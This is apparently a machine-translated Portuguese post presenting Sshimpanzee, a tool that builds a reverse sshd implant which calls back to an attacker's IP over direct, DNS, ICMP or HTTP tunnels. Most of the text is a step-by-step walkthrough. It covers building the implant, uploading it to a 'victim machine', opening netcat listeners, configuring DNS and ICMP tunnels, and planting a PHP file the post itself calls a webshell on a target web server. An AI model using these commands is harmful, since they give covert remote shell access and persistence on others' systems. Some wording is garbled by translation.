Sshimpanzee: shell reverso baseado em sshd suportando DNS e ICMP Tunneling

Tool para shell reverso baseado em sshd suportando DNS e ICMP Tunneling

Tool para shell reverso baseado em sshd suportando DNS e ICMP Tunneling

Sshimpanzee permite que você construa um estático reverso servidor ssh. Em vez de escutar em uma porta e aguardar conexões, o servidor ssh iniciará uma conexão reversa com o ip do invasor, como um shell reverso normal
Compartilhe

Sshimpanzee

Sshimpanzee permite que você construa um estático reverso servidor ssh. Em vez de escutar em uma porta e aguardar conexões, o servidor ssh iniciará uma conexão reversa com o ip do invasor, como um shell reverso normal. O Sshimpanzee permite que você aproveite todos os recursos de uma conexão ssh   regular, como encaminhamento de porta, proxies de meias dinâmicas ou servidores FTP.

Mais importante ainda, se uma conexão direta da máquina vítima para o servidor do invasor não for possível, ela fornecerá diferentes mecanismos de tunelamento, como DNS Tunneling, ICMP Tunneling ou HTTP Encapsulation . Ele também suporta proxies HTTP e SOCKS5.

Uso

Sshimpanzee: shell reverso baseado em sshd suportando DNS e ICMP Tunneling
  1. Construa o binário com -r para especificar o endereço remoto ao qual se conectar, aqui 192.168.0.2 porta 8097.

./builder.py -r 192.168.0.2:8097

builder.py gera o binário sshd, bem como um de chaves diretório contendo as chaves ssh do cliente e do servidor. O keys/CLIENT é a chave privada do cliente. É aquele usado para autenticar no servidor sshd reverso. Apenas a autenticação de chave ed25519 é suportada.

  1. Carregue o binário sshd na máquina vítima
  2. Em seu servidor de escuta, carregue a chave privada
  3. Ainda assim, no servidor, execute o cliente ssh padrão com um comando netcat proxy:

ssh [email protected] -oProxyCommand=”nc -lp 8097″ -i CLIENT

  1. Na máquina da vítima, execute o binário:

./sshd

Como alternativa, use a opção -d se desejar informações de depuração. Observe que, no modo de depuração, o sshd não será bifurcado e permanecerá em primeiro plano.

./sshd -d

  1. 192.168.0.2 deveria ter recebido a conexão.

túneis

Atualmente, o sshimpanzee suporta várias maneiras de o implante alcançar o cliente ssh do invasor:

  • Tunelamento de DNS usando o protocolo dns2tcp
  • Através do proxy: HTTP/SOCKS4/SOCKS5
  • Sockets: (pode ser útil se você quiser implementar seus próprios túneis)
  • túnel ICMP
  • Encapsulamento HTTP

O argumento –tun é usado para habilitar o tunelamento:

–tun tunnelname,tunneloption1=…,tunneloption2=…
–tun help

Usar túnel DNS

  1. Construir o binário

./builder.py –tun dns,dnsserv=<SERVER>

  1. No seu servidor, execute o dns2tcpd padrão usando o arquivo de configuração neste repositório, você precisará modificar o domínio (e a porta do recurso, se desejar). listen = 0.0.0.0 port = 53 user = nobody key = sshimpanzee chroot = /var/empty/dns2tcp/ domain = <SERVER> resources = sshimpanzee:127.0.0.1:8080
  2.    

sudo ./dns2tcpd -F -f dns2tcpdrc

  1. Execute o ssh no lado do cliente da seguinte maneira:

ssh [email protected] -oProxyCommand=”nc -lp 8080″ -i CLIENT

Usar túnel ICMP

  1. Crie o servidor binário e icmptunnel.

./builder.py –tun icmp,remote=<IP>,buildserv

  1. carregue o binário build/icmptunnel no servidor que recebe a conexão de volta
  2. Ainda assim, em seu servidor, adicione os recursos corretos para evitar a execução do proxycommand como root e desative a resposta de ping do sistema sudo setcap cap_net_raw+ep icmptunnel echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
  1.    
  2. Execute o cliente ssh padrão com icmptunnel como proxycommand:

ssh i -oProxyCommand=./icmptunnel -i test/CLIENT

Use encapsulamento HTTP (ssh -> servidor http -> sshd)

  1. Construir o binário

./builder.py –tun http_enc

  1. Carregue o arquivo /tuns/http_enc/proxy.php e os arquivos sshd para o seu servidor web de destino
  2. Certifique-se de que o proxy.php foi executado corretamente
  3. Execute o binário sshd no servidor web
  4. execute ssh na máquina cliente com um script Python em utils/scripts/ as proxy command: Você pode editar o script proxy_cli.py para especificar proxies.

ssh -o ProxyCommand=’python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null’ a@a -i ../../keys/CLIENT

Notas laterais sobre o encapsulamento http

  1. Proxy.php é um webshell mínimo, você pode usá-lo para carregar sshd para o servidor e executar comandos. proxy_cli.py oferece opções –run e –drop para fazer isso.
  2. Você pode experimentar um enorme atraso de entrada, porque um atraso de 1 a 5 segundos é adicionado ao pacote enviado pelo cliente ssh para evitar a geração de muitas solicitações http. Se você não se importa em gerar muitas solicitações http (portanto, muitos logs no servidor da Web), adicione a opção –no-buffer ao comando proxy_cli.py.

Usando o cliente sshimpanzee. Este repositório também fornece um cliente localizado em utils/client/bin . Simplesmente copie a chave CLIENT em utils/client/keys/

sshimpanzee --new PORT #create a new listener on PORT

sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)

sshimpanzee --new-icmp #create a new icmp listener

sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 



sshimpanzee --list #list availaible sessions



sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params

sshimpanzee --rename SESSION_NUMBER #to rename a session

sshimpanzee --kill SESSION_NUMBER #to kill a session

sshimpanzee #use fzf to select which session you want

No entanto, pode ser menos confiável do que usar o ssh diretamente.

Fonte Github